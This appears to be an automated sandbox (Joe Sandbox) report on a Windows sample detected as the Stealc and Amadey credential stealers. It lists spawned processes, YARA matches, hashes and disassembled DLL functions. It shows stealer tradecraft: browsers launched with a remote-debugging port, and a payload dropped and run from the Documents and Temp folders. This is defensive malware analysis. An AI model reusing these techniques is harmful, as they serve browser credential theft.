2024-11-19 23:19:35 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Target ID:	0
Start time:	18:18:57
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x360000
File size:	1'795'072 bytes
MD5 hash:	3264AE26929FF0C3ABE85B43070DFD27
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2045377744.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2413840045.0000000000361000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2415050172.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:19:03
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:19:04
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 --field-trial-handle=2388,i,16510555146849537744,13459730630800446723,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:19:13
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:19:13
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2220,i,7239485134690088343,7052541673815001243,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:19:13
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	18:19:14
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2800 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	18:19:20
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6860 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	18:19:20
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7148 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	18:19:34
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDGCFHIDAKE.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:19:34
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	18:19:34
Start date:	19/11/2024
Path:	C:\Users\user\DocumentsDGCFHIDAKE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsDGCFHIDAKE.exe"
Imagebase:	0xc80000
File size:	1'924'096 bytes
MD5 hash:	93A1D20E5DDAE13DB5D503DC52520988
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2507820926.0000000000C81000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.2419032587.0000000004850000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	18:19:41
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xc10000
File size:	1'924'096 bytes
MD5 hash:	93A1D20E5DDAE13DB5D503DC52520988
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2536327231.0000000000C11000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2495671882.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	18:20:00
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc10000
File size:	1'924'096 bytes
MD5 hash:	93A1D20E5DDAE13DB5D503DC52520988
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.3306899400.0000000000C11000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2676213781.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	18:20:14
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7120 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C4E35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C56F688,00001000), ref: 6C4E35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4E35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4E35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4E363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4E369F
__aulldiv.LIBCMT ref: 6C4E36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4E3773
EnterCriticalSection.KERNEL32(6C56F688), ref: 6C4E377E
LeaveCriticalSection.KERNEL32(6C56F688), ref: 6C4E37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4E37C4
EnterCriticalSection.KERNEL32(6C56F688), ref: 6C4E37CB
LeaveCriticalSection.KERNEL32(6C56F688), ref: 6C4E3801
__aulldiv.LIBCMT ref: 6C4E3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4E3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4E3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4E394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C4E35DB
GTC, xrefs: 6C4E3912
GenuntelineI, xrefs: 6C4E3639
AuthcAMDenti, xrefs: 6C4E3946
QPC, xrefs: 6C4E38FC

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 4699c08dc37ace766aa23c8a89e8d1b0eb1efa520d806b3e1e9e231c184842f0
Instruction ID: 0ffd48a2af6a9f722688d043ed84ca533e5bc38b67eed912492e0e13e74b0612
Opcode Fuzzy Hash: 4699c08dc37ace766aa23c8a89e8d1b0eb1efa520d806b3e1e9e231c184842f0
Instruction Fuzzy Hash: 8CB18271B093109BDB09DF2ECC44B2A77F6BB89705F068A2EE499D7770D77098018B95

Function 6C4FC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C4FC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C4FC969
GetSystemInfo.KERNEL32(?), ref: 6C4FC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C4FC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C4FC9E2

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 175057941334d9e28eadfb421d7dfc34a60355d5bde32208ae27e2aa84014396
Instruction ID: 340bfcf908985ecee7c0d1ec4fcae949022c3c0e96455633c62eebbc08ca6927
Opcode Fuzzy Hash: 175057941334d9e28eadfb421d7dfc34a60355d5bde32208ae27e2aa84014396
Instruction Fuzzy Hash: 9121D331741204ABDB25AE69CC88FBEB3B9ABC6340F51011AF953A6B40EB60AC058794

Function 6C4E3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4E3095

Part of subcall function 6C4E35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C56F688,00001000), ref: 6C4E35D5
Part of subcall function 6C4E35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4E35E0
Part of subcall function 6C4E35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4E35FD
Part of subcall function 6C4E35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4E363F
Part of subcall function 6C4E35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4E369F
Part of subcall function 6C4E35A0: __aulldiv.LIBCMT ref: 6C4E36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4E309F

Part of subcall function 6C505B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5056EE,?,00000001), ref: 6C505B85
Part of subcall function 6C505B50: EnterCriticalSection.KERNEL32(6C56F688,?,?,?,6C5056EE,?,00000001), ref: 6C505B90
Part of subcall function 6C505B50: LeaveCriticalSection.KERNEL32(6C56F688,?,?,?,6C5056EE,?,00000001), ref: 6C505BD8
Part of subcall function 6C505B50: GetTickCount64.KERNEL32 ref: 6C505BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4E30BE

Part of subcall function 6C4E30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4E3127
Part of subcall function 6C4E30F0: __aulldiv.LIBCMT ref: 6C4E3140

Part of subcall function 6C51AB2A: __onexit.LIBCMT ref: 6C51AB30

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 3cda8d0b88655477bd8fb28fa5a553925d5a5b22a64bc7557061ddc92daee8ac
Instruction ID: 405a4dc32825e568fb8651fdf3424f29455a902c6ef07e4d1e948e74b01bc8ed
Opcode Fuzzy Hash: 3cda8d0b88655477bd8fb28fa5a553925d5a5b22a64bc7557061ddc92daee8ac
Instruction Fuzzy Hash: A8F0F932E2474496CA11EF398C417F6B370AFAF214F526719E88557631FB2066D883CA

Non-executed Functions

Function 6C4F5440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4F5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F54BE
__Init_thread_footer.LIBCMT ref: 6C4F54DB

Part of subcall function 6C51AB3F: EnterCriticalSection.KERNEL32(6C56E370,?,?,6C4E3527,6C56F6CC,?,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB49
Part of subcall function 6C51AB3F: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E3527,6C56F6CC,?,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51AB7C

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

GetCurrentThreadId.KERNEL32 ref: 6C4F54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C4F5516
GetCurrentThreadId.KERNEL32 ref: 6C4F556A
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C4F5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C4F5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C4F5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C4F55E6
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C4F5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4F5616

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

GetCurrentThreadId.KERNEL32 ref: 6C4F563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4F5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C4F567C
free.MOZGLUE(?), ref: 6C4F56AE

Part of subcall function 6C505E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C505EDB
Part of subcall function 6C505E90: memset.VCRUNTIME140(ewTl,000000E5,?), ref: 6C505F27
Part of subcall function 6C505E90: LeaveCriticalSection.KERNEL32(?), ref: 6C505FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C4F56E8
GetCurrentThreadId.KERNEL32 ref: 6C4F5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C4F570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C4F5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C4F574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C4F576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C4F5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C4F57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C4F57CA

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C4F55E1
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4F548D
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4F54B9
MOZ_BASE_PROFILER_HELP, xrefs: 6C4F5511
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C4F5AC9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C4F5717
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C4F5CF9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C4F5D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C4F5B38
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C4F57AE
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C4F5BBE
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C4F5766
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C4F5D01
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C4F56E3
wTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsM, xrefs: 6C4F5732
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4F57C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C4F584E
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C4F5791
[I %d/%d] profiler_init, xrefs: 6C4F564E
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C4F5D1C
GeckoMain, xrefs: 6C4F5554, 6C4F55D5
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C4F5724
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C4F5D24
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4F54A3
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C4F5749
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C4F5C56

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init$wTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsMRwTSytUdoXJworJ.exeUCXowrsM
API String ID: 3686969729-2157938741
